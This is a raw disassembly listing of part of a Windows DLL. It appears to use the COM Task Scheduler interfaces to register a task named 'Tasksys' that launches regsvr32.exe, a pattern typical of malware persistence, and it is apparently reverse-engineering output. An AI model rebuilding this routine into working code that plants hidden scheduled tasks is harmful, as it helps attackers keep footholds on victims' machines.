call dword [eax + 0x44]
test eax, eax
jns 0x10009d6b
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009d31
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009d27
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009d5c
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xac]
lea edx, [ebp - 0xa8]
push edx
mov dword [ebp - 0xa8], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0xac]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10009e26
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009dec
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009de2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009e17
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xa8]
lea edx, [ebp - 0x50]
push edx
mov dword [ebp - 0x50], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0xa8]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10009ee6
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009eac
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009ea2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009ed7
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x50]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x1c], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x10009f2d
push str.regsvr32.exe
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a3b2
jmp 0x10009f2f
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a3bc
mov byte [ebp - 4], 0x10
push dword [esi]
push dword [ebp - 0x50]
call dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 6
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10009f91
mov eax, dword [esi]
test eax, eax
je 0x10009f6f
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10009f86
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x70]
cmp dword [eax + 0x14], 7
jbe 0x10009faa
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
push 0xc
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x38], esi
mov byte [ebp - 4], 0x11
test esi, esi
je 0x10009fe9
push dword [ebp - 0x70]
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x10009feb
cmp dword [ebp - 0x70], eax
jne 0x1000a3c6
jmp 0x10009feb
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x38], esi
test esi, esi
je 0x1000a3d0
mov byte [ebp - 4], 0x12
push dword [esi]
push dword [ebp - 0x50]
call dword [ebp - 0x1c]
mov byte [ebp - 4], 6
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000a04a
mov eax, dword [esi]
test eax, eax
je 0x1000a028
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a03f
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x20]
jge 0x1000a0ec
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000a0b2
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000a0a8
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000a0dd
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov dword [ebp - 0xbc], 0
mov eax, dword [eax]
push 0x10039ee4
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x28], eax
mov eax, 8
mov word [ebp - 0x100], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0xf8], eax
test eax, eax
je 0x1000a3da
movups xmm0, xmmword [ebp - 0x100]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x120]
push eax
movups xmmword [ebp - 0x80], xmm0
call esi
movups xmm0, xmmword [ebp - 0x120]
lea eax, [ebp - 0x110]
push eax
movups xmmword [ebp - 0x130], xmm0
call esi
mov byte [ebp - 4], 0x15
movups xmm0, xmmword [ebp - 0x110]
mov eax, dword [ebp - 0x24]
push 0xc
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x1c], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x38], esi
mov byte [ebp - 4], 0x16
test esi, esi
je 0x1000a1a8
push str.Tasksys
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a3e4
jmp 0x1000a1aa
xor esi, esi
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x38], esi
test esi, esi
je 0x1000a3ee
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0xbc]
movups xmm0, xmmword [ebp - 0x80]
push eax
sub esp, 0x10
mov eax, esp
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x130]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x140]
push 6
push dword [ebp - 0x1c]
movups xmmword [eax], xmm0
push dword [esi]
push dword [ebp - 0x20]
call dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000a240
mov ecx, dword [esi]
test ecx, ecx
je 0x1000a21e
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a235
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x120]
push eax
call esi
lea eax, [ebp - 0x100]
mov byte [ebp - 4], 6
push eax
call esi
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x1c], 0
jge 0x1000a2f1
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000a2b7
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000a2ad
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000a2e2
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0xbc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009c81
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009c77
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
jmp 0x10009c77
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.10005830
call fcn.10008940
call fcn.1001720f
call fcn.10005830
call fcn.10008940
call fcn.1001720f
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
call fcn.1001720f
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
push 0x8007000e
call fcn.100130e0
int3